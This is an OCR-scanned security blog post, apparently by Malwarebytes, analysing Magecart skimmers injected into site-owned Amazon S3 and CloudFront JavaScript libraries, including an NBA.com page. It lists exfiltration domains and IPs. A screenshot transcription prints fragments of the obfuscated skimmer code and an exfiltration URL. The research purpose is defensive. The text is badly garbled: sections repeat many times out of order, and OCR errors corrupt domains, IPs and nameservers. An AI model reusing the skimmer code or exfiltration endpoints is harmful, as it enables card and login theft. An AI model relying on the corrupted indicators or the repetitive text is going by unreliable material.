i+ |

ww 1-filecloud.com |—Ofgnt_355et5_com

What we can also see from the above VirusTotal graph, is that the two domains (font-assets[.]Jcom and ww1-
filecloud[.]Jcom) that were previously sinkholed to 179.43.144[.]137 (server in Switzerland) came back into the

hands of the criminals.

Historical passive DNS records show that on 05-25-2019, font-assets|.]com started resolving to 45.114.8[.]161.

The same thing happened for ww1-filecloud|.]Jcom, which ended up resolving to 45.114.8[.]159 after a few swaps.
Finding and exploiting weaknesses

This type of attack on private CDN repositories is not new, but reminds us that threat actors will look to exploit
anything that is vulnerable to gain entry into systems. Sometimes, coming in from the front door might not be a

viable option, so they will look for other ways.

While this example is not a third-party script supply-chain attack, it is served from third-party infrastructure.
Beyond applying the same level of access control to your own CDN-hosted repositories as your actual website,
other measures—such as validation of any externally loaded content (via Subresource Integrity checks, for

example)—can save the day.
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We reached out to the victims we identified in this campaign and several have already remediated the breach. In
other cases, we filed an abuse report directly with Amazon. Malwarebytes users are protected against the

skimmers mentioned in this blog and the new ones we discover each day.

Indicators of Compromise (IoCs)
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Exfiltration gate

This skimmer uses two levels of encoding (hex followed by Base64) to hide some of its payload, including the
exfiltration gate (cdn-imgcloud[.]Jcom). The stolen form data is also encoded before being sent back to the

criminal infrastructure.

While we would have expected to see many Magento e-commerce shops, some of the victims included a news
portal, a lawyer’s office, a software company, and a small telecom operator, all running a variety of Content

Management Systems (CMSes).

As such, many did not even have a payment form within their site. Most simply had a sign up or login form
instead. This makes us believe that Magecart threat actors may be conducting “spray and pray” attacks on the
CDNs they are able to access. Perhaps they are hoping to compromise libraries for sites with high traffic or tied to

valuable infrastructure from which they can steal input data.
Connection with existing campaign

The skimmer used in this attack looked eerily familiar. Indeed, by going back in time, we noted it used to have the
same exfiltration gate (font-assets[.Jcom) identified by Yonathan Klijnsma in RiskIQ’s report on several recent

supply-chain attacks.

RiskIQ, in partnership with Abuse.ch and the Shadowserver Foundation, sinkholed both that domain and another

(wwl-filecloud[.]com) in an effort to disrupt the criminal’s infrastructure.
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A cursory look at this new cdn-imgcloud[.]Jcom gate shows that it was registered just a couple days after the

RiskIQ blog post came out and uses Carbon2u (which has a certain history) as nameservers.

Creation Date: 2019-05-16T07:12:30Z
Registrar: Shinjiru Technology Sdn Bhd
Name Server: NS1.CARBON2U.COM

Name Server: NS2.CARBON2U.COM

The domain resolves to the IP address 45.114.8[.]160 that belongs to ASN 55933 in Hong Kong. By exploring the

same subnet, we can find other exfiltration gates also registered recently.
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What we can also see from the above VirusTotal graph, is that the two domains (font-assets[.]Jcom and ww1-
filecloud[.]Jcom) that were previously sinkholed to 179.43.144[.]137 (server in Switzerland) came back into the

hands of the criminals.

Historical passive DNS records show that on 05-25-2019, font-assets[.]Jcom started resolving to 45.114.8[.]161.

The same thing happened for ww1-filecloud[.]com, which ended up resolving to 45.114.8[.]159 after a few swaps.
Finding and exploiting weaknesses

This type of attack on private CDN repositories is not new, but reminds us that threat actors will look to exploit
anything that is vulnerable to gain entry into systems. Sometimes, coming in from the front door might not be a

viable option, so they will look for other ways.

While this example is not a third-party script supply-chain attack, it is served from third-party infrastructure.
Beyond applying the same level of access control to your own CDN-hosted repositories as your actual website,
other measures—such as validation of any externally loaded content (via Subresource Integrity checks, for

example)—can save the day.

We reached out to the victims we identified in this campaign and several have already remediated the breach. In
other cases, we filed an abuse report directly with Amazon. Malwarebytes users are protected against the

skimmers mentioned in this blog and the new ones we discover each day.

Indicators of Compromise (IoCs)
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Finally, here’s another example where the skimmer was injected in various scripts loaded from a custom
CloudFront URL.
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Exfiltration gate

This skimmer uses two levels of encoding (hex followed by Base64) to hide some of its payload, including the
exfiltration gate (cdn-imgcloud[.]Jcom). The stolen form data is also encoded before being sent back to the

criminal infrastructure.

While we would have expected to see many Magento e-commerce shops, some of the victims included a news
portal, a lawyer’s office, a software company, and a small telecom operator, all running a variety of Content

Management Systems (CMSes).

As such, many did not even have a payment form within their site. Most simply had a sign up or login form

instead. This makes us believe that Magecart threat actors may be conducting “spray and pray” attacks on the
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CDNs they are able to access. Perhaps they are hoping to compromise libraries for sites with high traffic or tied to

valuable infrastructure from which they can steal input data.

Connection with existing campaign

The skimmer used in this attack looked eerily familiar. Indeed, by going back in time, we noted it used to have the
same exfiltration gate (font-assets[.]Jcom) identified by Yonathan Klijnsma in RiskIQ’s report on several recent

supply-chain attacks.

RiskIQ, in partnership with Abuse.ch and the Shadowserver Foundation, sinkholed both that domain and another

(ww1-filecloud[.]com) in an effort to disrupt the criminal’s infrastructure.
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A cursory look at this new cdn-imgcloud[.]Jcom gate shows that it was registered just a couple days after the

RiskIQ blog post came out and uses Carbon2u (which has a certain history) as nameservers.

Creation Date: 2019-05-16T07:12:30Z
Registrar: Shinjiru Technology Sdn Bhd
Name Server: NS71.CARBON2U.COM

Name Server: NS2.CARBON2U.COM

The domain resolves to the IP address 45.114.8[.]160 that belongs to ASN 55933 in Hong Kong. By exploring the

same subnet, we can find other exfiltration gates also registered recently.

%{‘—cloud.com pjs—cloudhost.com

o8 %

£E345114.8.162 $£245114.8.163

~ 7
at s
~

pcdn—imgcloud.com
- TQASN 55933
451148150 1 - /

-

a / | E25.1148.160
e '

— IN\\‘H E945.114.8.161
i+ |

ww 1-filecloud.com |—Ofgnt_355et5_com

What we can also see from the above VirusTotal graph, is that the two domains (font-assets[.]Jcom and ww1-
filecloud[.]Jcom) that were previously sinkholed to 179.43.144[.]137 (server in Switzerland) came back into the

hands of the criminals.

Historical passive DNS records show that on 05-25-2019, font-assets|.]com started resolving to 45.114.8[.]161.

The same thing happened for ww1-filecloud|.]Jcom, which ended up resolving to 45.114.8[.]159 after a few swaps.
Finding and exploiting weaknesses

This type of attack on private CDN repositories is not new, but reminds us that threat actors will look to exploit
anything that is vulnerable to gain entry into systems. Sometimes, coming in from the front door might not be a

viable option, so they will look for other ways.

While this example is not a third-party script supply-chain attack, it is served from third-party infrastructure.
Beyond applying the same level of access control to your own CDN-hosted repositories as your actual website,
other measures—such as validation of any externally loaded content (via Subresource Integrity checks, for

example)—can save the day.
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We reached out to the victims we identified in this campaign and several have already remediated the breach. In
other cases, we filed an abuse report directly with Amazon. Malwarebytes users are protected against the

skimmers mentioned in this blog and the new ones we discover each day.
Indicators of Compromise (IoCs)

wwl-filecloud[.]Jcom,45.114.8[.]1159
cdn-imgcloud[.]Jcom,45.114.8[.]160
font-assets[.]Jcom,45.114.8[.1161
wix-cloud[.]com,45.114.8[.]162
js-cloudhost[.]Jcom,45.114.8[.]163

Update (06-08-2019): The compromises of Amazon S3 buckets continue and some large sites are being affected.
Our crawler spotted a malicious injection that loads a skimmer for the Washington Wizards page on the official

NBA.com website.
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The skimmer was inserted in this JavaScript library:

hxxps://s3[.]amazonaws[ .]com/wsaimages/js/wizards[.]js
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Interestingly, this same library had already been altered (loading content from com (opens in a new tab)”>)_some

time earlier in January of this year. We have reported this incident to Amazon. A complete archived scan of the

page can be found here.

Late last week, we observed a number of compromises on Amazon CloudFront — a Content Delivery Network

(CDN) — where hosted JavaScript libraries were tampered with and injected with web skimmers.

Although attacks that involve CDNs usually affect a large number of web properties at once via their supply chain,
this isn’t always the case. Some websites either use Amazon’s cloud infrastructure to host their own libraries or

link to code developed specifically for them and hosted on a custom AWS S3 bucket.

Without properly validating content loaded externally, these sites are exposing their users to various threats,
including some that pilfer credit card data. After analyzing these breaches, we found that they are a continuation of

a campaign from Magecart threat actors attempting to cast a wide net around many different CDNs.

The ideal place to conceal a skimmer

CDNss are widely used because they provide great benefits to website owners, including optimizing load times and

cost, as well as helping with all sorts of data analytics.

The sites we identified during a crawl had nothing in common other than the fact they were all using their own
custom CDN to load various libraries. In effect, the only resulting victims of a compromise on their CDN

repository would be themselves.

This first example shows a JavaScript library that is hosted on its own dedicated AWS S3 bucket. The skimmer

can be seen appended to the original code and using obfuscation to conceal itself.

This second case shows the skimmer injected not just in one library, but several contained within the same

directory, once again part of an S3 bucket that is only used by this one website.
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Finally, here’s another example where the skimmer was injected in various scripts loaded from a custom
CloudFront URL.
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Exfiltration gate

This skimmer uses two levels of encoding (hex followed by Base64) to hide some of its payload, including the
exfiltration gate (cdn-imgcloud[.]Jcom). The stolen form data is also encoded before being sent back to the

criminal infrastructure.

While we would have expected to see many Magento e-commerce shops, some of the victims included a news
portal, a lawyer’s office, a software company, and a small telecom operator, all running a variety of Content

Management Systems (CMSes).

As such, many did not even have a payment form within their site. Most simply had a sign up or login form

instead. This makes us believe that Magecart threat actors may be conducting “spray and pray” attacks on the
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CDNs they are able to access. Perhaps they are hoping to compromise libraries for sites with high traffic or tied to

valuable infrastructure from which they can steal input data.

Connection with existing campaign

The skimmer used in this attack looked eerily familiar. Indeed, by going back in time, we noted it used to have the
same exfiltration gate (font-assets[.]Jcom) identified by Yonathan Klijnsma in RiskIQ’s report on several recent

supply-chain attacks.

RiskIQ, in partnership with Abuse.ch and the Shadowserver Foundation, sinkholed both that domain and another

(ww1-filecloud[.]com) in an effort to disrupt the criminal’s infrastructure.
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A cursory look at this new cdn-imgcloud[.]Jcom gate shows that it was registered just a couple days after the

RiskIQ blog post came out and uses Carbon2u (which has a certain history) as nameservers.

Creation Date: 2019-05-16T07:12:30Z
Registrar: Shinjiru Technology Sdn Bhd
Name Server: NS71.CARBON2U.COM

Name Server: NS2.CARBON2U.COM

The domain resolves to the IP address 45.114.8[.]160 that belongs to ASN 55933 in Hong Kong. By exploring the

same subnet, we can find other exfiltration gates also registered recently.
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What we can also see from the above VirusTotal graph, is that the two domains (font-assets[.]Jcom and ww1-
filecloud[.]Jcom) that were previously sinkholed to 179.43.144[.]137 (server in Switzerland) came back into the

hands of the criminals.

Historical passive DNS records show that on 05-25-2019, font-assets|.]com started resolving to 45.114.8[.]161.

The same thing happened for ww1-filecloud|.]Jcom, which ended up resolving to 45.114.8[.]159 after a few swaps.
Finding and exploiting weaknesses

This type of attack on private CDN repositories is not new, but reminds us that threat actors will look to exploit
anything that is vulnerable to gain entry into systems. Sometimes, coming in from the front door might not be a

viable option, so they will look for other ways.

While this example is not a third-party script supply-chain attack, it is served from third-party infrastructure.
Beyond applying the same level of access control to your own CDN-hosted repositories as your actual website,
other measures—such as validation of any externally loaded content (via Subresource Integrity checks, for

example)—can save the day.
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We reached out to the victims we identified in this campaign and several have already remediated the breach. In
other cases, we filed an abuse report directly with Amazon. Malwarebytes users are protected against the

skimmers mentioned in this blog and the new ones we discover each day.

Indicators of Compromise (IoCs)
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js-cloudhost[.]Jcom,45.114.8[.]163
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Finally, here’s another example where the skimmer was injected in various scripts loaded from a custom
CloudFront URL.
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Exfiltration gate

This skimmer uses two levels of encoding (hex followed by Base64) to hide some of its payload, including the
exfiltration gate (cdn-imgcloud[.]Jcom). The stolen form data is also encoded before being sent back to the

criminal infrastructure.

While we would have expected to see many Magento e-commerce shops, some of the victims included a news
portal, a lawyer’s office, a software company, and a small telecom operator, all running a variety of Content

Management Systems (CMSes).

As such, many did not even have a payment form within their site. Most simply had a sign up or login form

instead. This makes us believe that Magecart threat actors may be conducting “spray and pray” attacks on the
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CDNs they are able to access. Perhaps they are hoping to compromise libraries for sites with high traffic or tied to

valuable infrastructure from which they can steal input data.

Connection with existing campaign

The skimmer used in this attack looked eerily familiar. Indeed, by going back in time, we noted it used to have the
same exfiltration gate (font-assets[.]Jcom) identified by Yonathan Klijnsma in RiskIQ’s report on several recent

supply-chain attacks.

RiskIQ, in partnership with Abuse.ch and the Shadowserver Foundation, sinkholed both that domain and another

(ww1-filecloud[.]com) in an effort to disrupt the criminal’s infrastructure.
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A cursory look at this new cdn-imgcloud[.]Jcom gate shows that it was registered just a couple days after the

RiskIQ blog post came out and uses Carbon2u (which has a certain history) as nameservers.

Creation Date: 2019-05-16T07:12:30Z
Registrar: Shinjiru Technology Sdn Bhd
Name Server: NS71.CARBON2U.COM

Name Server: NS2.CARBON2U.COM

The domain resolves to the IP address 45.114.8[.]160 that belongs to ASN 55933 in Hong Kong. By exploring the

same subnet, we can find other exfiltration gates also registered recently.
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What we can also see from the above VirusTotal graph, is that the two domains (font-assets[.]Jcom and ww1-
filecloud[.]Jcom) that were previously sinkholed to 179.43.144[.]137 (server in Switzerland) came back into the

hands of the criminals.

Historical passive DNS records show that on 05-25-2019, font-assets|.]com started resolving to 45.114.8[.]161.

The same thing happened for ww1-filecloud|.]Jcom, which ended up resolving to 45.114.8[.]159 after a few swaps.
Finding and exploiting weaknesses

This type of attack on private CDN repositories is not new, but reminds us that threat actors will look to exploit
anything that is vulnerable to gain entry into systems. Sometimes, coming in from the front door might not be a

viable option, so they will look for other ways.

While this example is not a third-party script supply-chain attack, it is served from third-party infrastructure.
Beyond applying the same level of access control to your own CDN-hosted repositories as your actual website,
other measures—such as validation of any externally loaded content (via Subresource Integrity checks, for

example)—can save the day.
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We reached out to the victims we identified in this campaign and several have already remediated the breach. In
other cases, we filed an abuse report directly with Amazon. Malwarebytes users are protected against the

skimmers mentioned in this blog and the new ones we discover each day.

Indicators of Compromise (IoCs)
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Exfiltration gate

This skimmer uses two levels of encoding (hex followed by Base64) to hide some of its payload, including the
exfiltration gate (cdn-imgcloud[.]Jcom). The stolen form data is also encoded before being sent back to the

criminal infrastructure.

While we would have expected to see many Magento e-commerce shops, some of the victims included a news
portal, a lawyer’s office, a software company, and a small telecom operator, all running a variety of Content

Management Systems (CMSes).

As such, many did not even have a payment form within their site. Most simply had a sign up or login form
instead. This makes us believe that Magecart threat actors may be conducting “spray and pray” attacks on the
CDNs they are able to access. Perhaps they are hoping to compromise libraries for sites with high traffic or tied to

valuable infrastructure from which they can steal input data.
Connection with existing campaign

The skimmer used in this attack looked eerily familiar. Indeed, by going back in time, we noted it used to have the
same exfiltration gate (font-assets[.Jcom) identified by Yonathan Klijnsma in RiskIQ’s report on several recent

supply-chain attacks.

RiskIQ, in partnership with Abuse.ch and the Shadowserver Foundation, sinkholed both that domain and another

(wwl-filecloud[.]com) in an effort to disrupt the criminal’s infrastructure.
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A cursory look at this new cdn-imgcloud[.]Jcom gate shows that it was registered just a couple days after the

RiskIQ blog post came out and uses Carbon2u (which has a certain history) as nameservers.

Creation Date: 2019-05-16T07:12:30Z
Registrar: Shinjiru Technology Sdn Bhd
Name Server: NS1.CARBON2U.COM

Name Server: NS2.CARBON2U.COM

The domain resolves to the IP address 45.114.8[.]160 that belongs to ASN 55933 in Hong Kong. By exploring the

same subnet, we can find other exfiltration gates also registered recently.
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What we can also see from the above VirusTotal graph, is that the two domains (font-assets[.]Jcom and ww1-
filecloud[.]Jcom) that were previously sinkholed to 179.43.144[.]137 (server in Switzerland) came back into the

hands of the criminals.

Historical passive DNS records show that on 05-25-2019, font-assets[.]Jcom started resolving to 45.114.8[.]161.

The same thing happened for ww1-filecloud[.]com, which ended up resolving to 45.114.8[.]159 after a few swaps.
Finding and exploiting weaknesses

This type of attack on private CDN repositories is not new, but reminds us that threat actors will look to exploit
anything that is vulnerable to gain entry into systems. Sometimes, coming in from the front door might not be a

viable option, so they will look for other ways.

While this example is not a third-party script supply-chain attack, it is served from third-party infrastructure.
Beyond applying the same level of access control to your own CDN-hosted repositories as your actual website,
other measures—such as validation of any externally loaded content (via Subresource Integrity checks, for

example)—can save the day.

We reached out to the victims we identified in this campaign and several have already remediated the breach. In
other cases, we filed an abuse report directly with Amazon. Malwarebytes users are protected against the

skimmers mentioned in this blog and the new ones we discover each day.

Indicators of Compromise (IoCs)

wwl-filecloud[.]Jcom,45.114.8[.]1159
cdn-imgcloud[.]Jcom,45.114.8[.]160
font-assets[.]Jcom,45.114.8[.]1161
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Update (06-08-2019): The compromises of Amazon S3 buckets continue and some large sites are being affected.

Our crawler spotted a malicious injection that loads a skimmer for the Washington Wizards page on the official

NBA.com website.
== =
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C @ nhttps//www.nba.com/wizards/ * O
fﬂ - -
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WATCHLIVE ~ — Swati——
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@ DevTools - www.nba.com/wizards/ = -m

[w ﬂ Elements Console Sources MNetwork Performance Memory Application Security Audits Q11 A4
Page » it [ wizardsjs wizards.js:formatted X [0
» O raw.githubusercont | 1693 -~

Dor oxssdeac - s Exfiltration gate: https://wix-cloud.com/img
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_@x55d63c M \xB1\xT4\xEL"] = {};

_Bx55d63c[_@x551F(" ! [1;

_Bx55d63c[_@x551F(" ! N H

_@x55d63c[_@x551F( '@x19")] = Ffunction(_g8x4del3ge) {

» (Y s3.amazonaws.com

v wsaimages/js

H
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» (Y secure.adnxs.com

» (O secure.quantserve.c .

if (_@xdel3fe.id !== undefined && _Oxfel3fe.id != ' &% _@xdel3%e.id !== null && _@x4el3fe.value
r O securepubads.g.dot if { @wfbbeab{ @x2bd6f7( @x2bd6f7( @xdeldfe.value. '\x2d'. ''). "\x28'. '')) && @x395e49( @ 7
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» (Y srv-2019-06-09-04, AV GTAVIEAVEEAV RV EEVE WV VeV eV TS R el VRV T e GVl RV M |'\ A | Aa .” Cancel
» (™ svnc.ecal.com M
Fl » 9 characters selected

The skimmer was inserted in this JavaScript library:

hxxps://s3[.]amazonaws[.]com/wsaimages/js/wizards[.]js

Interestingly, this same library had already been altered (loading content from com (opens in a new tab)”>) some

time earlier in January of this year. We have reported this incident to Amazon. A complete archived scan of the

page can be found here.

Late last week, we observed a number of compromises on Amazon CloudFront — a Content Delivery Network

(CDN) — where hosted JavaScript libraries were tampered with and injected with web skimmers.
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Although attacks that involve CDNs usually affect a large number of web properties at once via their supply chain,
this isn’t always the case. Some websites either use Amazon’s cloud infrastructure to host their own libraries or

link to code developed specifically for them and hosted on a custom AWS S3 bucket.

Without properly validating content loaded externally, these sites are exposing their users to various threats,
including some that pilfer credit card data. After analyzing these breaches, we found that they are a continuation of

a campaign from Magecart threat actors attempting to cast a wide net around many different CDNs.

The ideal place to conceal a skimmer

CDNss are widely used because they provide great benefits to website owners, including optimizing load times and

cost, as well as helping with all sorts of data analytics.

The sites we identified during a crawl had nothing in common other than the fact they were all using their own
custom CDN to load various libraries. In effect, the only resulting victims of a compromise on their CDN

repository would be themselves.

This first example shows a JavaScript library that is hosted on its own dedicated AWS S3 bucket. The skimmer

can be seen appended to the original code and using obfuscation to conceal itself.

This second case shows the skimmer injected not just in one library, but several contained within the same

directory, once again part of an S3 bucket that is only used by this one website.
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Finally, here’s another example where the skimmer was injected in various scripts loaded from a custom
CloudFront URL.
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Exfiltration gate

This skimmer uses two levels of encoding (hex followed by Base64) to hide some of its payload, including the
exfiltration gate (cdn-imgcloud[.]Jcom). The stolen form data is also encoded before being sent back to the

criminal infrastructure.

While we would have expected to see many Magento e-commerce shops, some of the victims included a news
portal, a lawyer’s office, a software company, and a small telecom operator, all running a variety of Content

Management Systems (CMSes).

As such, many did not even have a payment form within their site. Most simply had a sign up or login form

instead. This makes us believe that Magecart threat actors may be conducting “spray and pray” attacks on the
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CDNs they are able to access. Perhaps they are hoping to compromise libraries for sites with high traffic or tied to

valuable infrastructure from which they can steal input data.

Connection with existing campaign

The skimmer used in this attack looked eerily familiar. Indeed, by going back in time, we noted it used to have the
same exfiltration gate (font-assets[.]Jcom) identified by Yonathan Klijnsma in RiskIQ’s report on several recent

supply-chain attacks.

RiskIQ, in partnership with Abuse.ch and the Shadowserver Foundation, sinkholed both that domain and another

(ww1-filecloud[.]com) in an effort to disrupt the criminal’s infrastructure.
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A cursory look at this new cdn-imgcloud[.]Jcom gate shows that it was registered just a couple days after the

RiskIQ blog post came out and uses Carbon2u (which has a certain history) as nameservers.

Creation Date: 2019-05-16T07:12:30Z
Registrar: Shinjiru Technology Sdn Bhd
Name Server: NS71.CARBON2U.COM

Name Server: NS2.CARBON2U.COM

The domain resolves to the IP address 45.114.8[.]160 that belongs to ASN 55933 in Hong Kong. By exploring the

same subnet, we can find other exfiltration gates also registered recently.
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What we can also see from the above VirusTotal graph, is that the two domains (font-assets[.]Jcom and ww1-
filecloud[.]Jcom) that were previously sinkholed to 179.43.144[.]137 (server in Switzerland) came back into the

hands of the criminals.

Historical passive DNS records show that on 05-25-2019, font-assets|.]com started resolving to 45.114.8[.]161.

The same thing happened for ww1-filecloud|.]Jcom, which ended up resolving to 45.114.8[.]159 after a few swaps.
Finding and exploiting weaknesses

This type of attack on private CDN repositories is not new, but reminds us that threat actors will look to exploit
anything that is vulnerable to gain entry into systems. Sometimes, coming in from the front door might not be a

viable option, so they will look for other ways.

While this example is not a third-party script supply-chain attack, it is served from third-party infrastructure.
Beyond applying the same level of access control to your own CDN-hosted repositories as your actual website,
other measures—such as validation of any externally loaded content (via Subresource Integrity checks, for

example)—can save the day.
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We reached out to the victims we identified in this campaign and several have already remediated the breach. In
other cases, we filed an abuse report directly with Amazon. Malwarebytes users are protected against the

skimmers mentioned in this blog and the new ones we discover each day.

Indicators of Compromise (IoCs)
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Finally, here’s another example where the skimmer was injected in various scripts loaded from a custom
CloudFront URL.
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Exfiltration gate

This skimmer uses two levels of encoding (hex followed by Base64) to hide some of its payload, including the
exfiltration gate (cdn-imgcloud[.]Jcom). The stolen form data is also encoded before being sent back to the

criminal infrastructure.

While we would have expected to see many Magento e-commerce shops, some of the victims included a news
portal, a lawyer’s office, a software company, and a small telecom operator, all running a variety of Content

Management Systems (CMSes).

As such, many did not even have a payment form within their site. Most simply had a sign up or login form

instead. This makes us believe that Magecart threat actors may be conducting “spray and pray” attacks on the
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CDNs they are able to access. Perhaps they are hoping to compromise libraries for sites with high traffic or tied to

valuable infrastructure from which they can steal input data.

Connection with existing campaign

The skimmer used in this attack looked eerily familiar. Indeed, by going back in time, we noted it used to have the
same exfiltration gate (font-assets[.]Jcom) identified by Yonathan Klijnsma in RiskIQ’s report on several recent

supply-chain attacks.

RiskIQ, in partnership with Abuse.ch and the Shadowserver Foundation, sinkholed both that domain and another

(ww1-filecloud[.]com) in an effort to disrupt the criminal’s infrastructure.
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A cursory look at this new cdn-imgcloud[.]Jcom gate shows that it was registered just a couple days after the

RiskIQ blog post came out and uses Carbon2u (which has a certain history) as nameservers.

Creation Date: 2019-05-16T07:12:30Z
Registrar: Shinjiru Technology Sdn Bhd
Name Server: NS71.CARBON2U.COM

Name Server: NS2.CARBON2U.COM

The domain resolves to the IP address 45.114.8[.]160 that belongs to ASN 55933 in Hong Kong. By exploring the

same subnet, we can find other exfiltration gates also registered recently.

%{‘—cloud.com pjs—cloudhost.com

o8 %

£E345114.8.162 $£245114.8.163

~ 7
at s
~

pcdn—imgcloud.com
- TQASN 55933
451148150 1 - /

-

a / | E25.1148.160
e '

— IN\\‘H E945.114.8.161
i+ |

ww 1-filecloud.com |—Ofgnt_355et5_com

What we can also see from the above VirusTotal graph, is that the two domains (font-assets[.]Jcom and ww1-
filecloud[.]Jcom) that were previously sinkholed to 179.43.144[.]137 (server in Switzerland) came back into the

hands of the criminals.

Historical passive DNS records show that on 05-25-2019, font-assets|.]com started resolving to 45.114.8[.]161.

The same thing happened for ww1-filecloud|.]Jcom, which ended up resolving to 45.114.8[.]159 after a few swaps.
Finding and exploiting weaknesses

This type of attack on private CDN repositories is not new, but reminds us that threat actors will look to exploit
anything that is vulnerable to gain entry into systems. Sometimes, coming in from the front door might not be a

viable option, so they will look for other ways.

While this example is not a third-party script supply-chain attack, it is served from third-party infrastructure.
Beyond applying the same level of access control to your own CDN-hosted repositories as your actual website,
other measures—such as validation of any externally loaded content (via Subresource Integrity checks, for

example)—can save the day.
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We reached out to the victims we identified in this campaign and several have already remediated the breach. In
other cases, we filed an abuse report directly with Amazon. Malwarebytes users are protected against the

skimmers mentioned in this blog and the new ones we discover each day.
Indicators of Compromise (IoCs)

wwl-filecloud[.]Jcom,45.114.8[.]1159
cdn-imgcloud[.]Jcom,45.114.8[.]160
font-assets[.]Jcom,45.114.8[.1161
wix-cloud[.]com,45.114.8[.]162
js-cloudhost[.]Jcom,45.114.8[.]163

Update (06-08-2019): The compromises of Amazon S3 buckets continue and some large sites are being affected.
Our crawler spotted a malicious injection that loads a skimmer for the Washington Wizards page on the official

NBA.com website.
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4 » 9 characters selected

The skimmer was inserted in this JavaScript library:

hxxps://s3[.]amazonaws[ .]com/wsaimages/js/wizards[.]js
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Interestingly, this same library had already been altered (loading content from com (opens in a new tab)”>)_some

time earlier in January of this year. We have reported this incident to Amazon. A complete archived scan of the

page can be found here.

Late last week, we observed a number of compromises on Amazon CloudFront — a Content Delivery Network

(CDN) — where hosted JavaScript libraries were tampered with and injected with web skimmers.

Although attacks that involve CDNs usually affect a large number of web properties at once via their supply chain,
this isn’t always the case. Some websites either use Amazon’s cloud infrastructure to host their own libraries or

link to code developed specifically for them and hosted on a custom AWS S3 bucket.

Without properly validating content loaded externally, these sites are exposing their users to various threats,
including some that pilfer credit card data. After analyzing these breaches, we found that they are a continuation of

a campaign from Magecart threat actors attempting to cast a wide net around many different CDNs.

The ideal place to conceal a skimmer

CDNss are widely used because they provide great benefits to website owners, including optimizing load times and

cost, as well as helping with all sorts of data analytics.

The sites we identified during a crawl had nothing in common other than the fact they were all using their own
custom CDN to load various libraries. In effect, the only resulting victims of a compromise on their CDN

repository would be themselves.

This first example shows a JavaScript library that is hosted on its own dedicated AWS S3 bucket. The skimmer

can be seen appended to the original code and using obfuscation to conceal itself.

This second case shows the skimmer injected not just in one library, but several contained within the same

directory, once again part of an S3 bucket that is only used by this one website.
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Finally, here’s another example where the skimmer was injected in various scripts loaded from a custom
CloudFront URL.
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Exfiltration gate

This skimmer uses two levels of encoding (hex followed by Base64) to hide some of its payload, including the
exfiltration gate (cdn-imgcloud[.]Jcom). The stolen form data is also encoded before being sent back to the

criminal infrastructure.

While we would have expected to see many Magento e-commerce shops, some of the victims included a news
portal, a lawyer’s office, a software company, and a small telecom operator, all running a variety of Content

Management Systems (CMSes).

As such, many did not even have a payment form within their site. Most simply had a sign up or login form

instead. This makes us believe that Magecart threat actors may be conducting “spray and pray” attacks on the
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CDNs they are able to access. Perhaps they are hoping to compromise libraries for sites with high traffic or tied to

valuable infrastructure from which they can steal input data.

Connection with existing campaign

The skimmer used in this attack looked eerily familiar. Indeed, by going back in time, we noted it used to have the
same exfiltration gate (font-assets[.]Jcom) identified by Yonathan Klijnsma in RiskIQ’s report on several recent

supply-chain attacks.

RiskIQ, in partnership with Abuse.ch and the Shadowserver Foundation, sinkholed both that domain and another

(ww1-filecloud[.]com) in an effort to disrupt the criminal’s infrastructure.
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A cursory look at this new cdn-imgcloud[.]Jcom gate shows that it was registered just a couple days after the

RiskIQ blog post came out and uses Carbon2u (which has a certain history) as nameservers.

Creation Date: 2019-05-16T07:12:30Z
Registrar: Shinjiru Technology Sdn Bhd
Name Server: NS71.CARBON2U.COM

Name Server: NS2.CARBON2U.COM

The domain resolves to the IP address 45.114.8[.]160 that belongs to ASN 55933 in Hong Kong. By exploring the

same subnet, we can find other exfiltration gates also registered recently.
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What we can also see from the above VirusTotal graph, is that the two domains (font-assets[.]Jcom and ww1-
filecloud[.]Jcom) that were previously sinkholed to 179.43.144[.]137 (server in Switzerland) came back into the

hands of the criminals.

Historical passive DNS records show that on 05-25-2019, font-assets|.]com started resolving to 45.114.8[.]161.

The same thing happened for ww1-filecloud|.]Jcom, which ended up resolving to 45.114.8[.]159 after a few swaps.
Finding and exploiting weaknesses

This type of attack on private CDN repositories is not new, but reminds us that threat actors will look to exploit
anything that is vulnerable to gain entry into systems. Sometimes, coming in from the front door might not be a

viable option, so they will look for other ways.

While this example is not a third-party script supply-chain attack, it is served from third-party infrastructure.
Beyond applying the same level of access control to your own CDN-hosted repositories as your actual website,
other measures—such as validation of any externally loaded content (via Subresource Integrity checks, for

example)—can save the day.
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We reached out to the victims we identified in this campaign and several have already remediated the breach. In
other cases, we filed an abuse report directly with Amazon. Malwarebytes users are protected against the

skimmers mentioned in this blog and the new ones we discover each day.

Indicators of Compromise (IoCs)
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Exfiltration gate

This skimmer uses two levels of encoding (hex followed by Base64) to hide some of its payload, including the
exfiltration gate (cdn-imgcloud[.]Jcom). The stolen form data is also encoded before being sent back to the

criminal infrastructure.

While we would have expected to see many Magento e-commerce shops, some of the victims included a news
portal, a lawyer’s office, a software company, and a small telecom operator, all running a variety of Content

Management Systems (CMSes).

As such, many did not even have a payment form within their site. Most simply had a sign up or login form
instead. This makes us believe that Magecart threat actors may be conducting “spray and pray” attacks on the
CDNs they are able to access. Perhaps they are hoping to compromise libraries for sites with high traffic or tied to

valuable infrastructure from which they can steal input data.
Connection with existing campaign

The skimmer used in this attack looked eerily familiar. Indeed, by going back in time, we noted it used to have the
same exfiltration gate (font-assets[.Jcom) identified by Yonathan Klijnsma in RiskIQ’s report on several recent

supply-chain attacks.

RiskIQ, in partnership with Abuse.ch and the Shadowserver Foundation, sinkholed both that domain and another

(wwl-filecloud[.]com) in an effort to disrupt the criminal’s infrastructure.
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A cursory look at this new cdn-imgcloud[.]Jcom gate shows that it was registered just a couple days after the

RiskIQ blog post came out and uses Carbon2u (which has a certain history) as nameservers.

Creation Date: 2019-05-16T07:12:30Z
Registrar: Shinjiru Technology Sdn Bhd
Name Server: NS1.CARBON2U.COM

Name Server: NS2.CARBON2U.COM

The domain resolves to the IP address 45.114.8[.]160 that belongs to ASN 55933 in Hong Kong. By exploring the

same subnet, we can find other exfiltration gates also registered recently.
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What we can also see from the above VirusTotal graph, is that the two domains (font-assets[.]Jcom and ww1-
filecloud[.]Jcom) that were previously sinkholed to 179.43.144[.]137 (server in Switzerland) came back into the

hands of the criminals.

Historical passive DNS records show that on 05-25-2019, font-assets[.]Jcom started resolving to 45.114.8[.]161.

The same thing happened for ww1-filecloud[.]com, which ended up resolving to 45.114.8[.]159 after a few swaps.
Finding and exploiting weaknesses

This type of attack on private CDN repositories is not new, but reminds us that threat actors will look to exploit
anything that is vulnerable to gain entry into systems. Sometimes, coming in from the front door might not be a

viable option, so they will look for other ways.

While this example is not a third-party script supply-chain attack, it is served from third-party infrastructure.
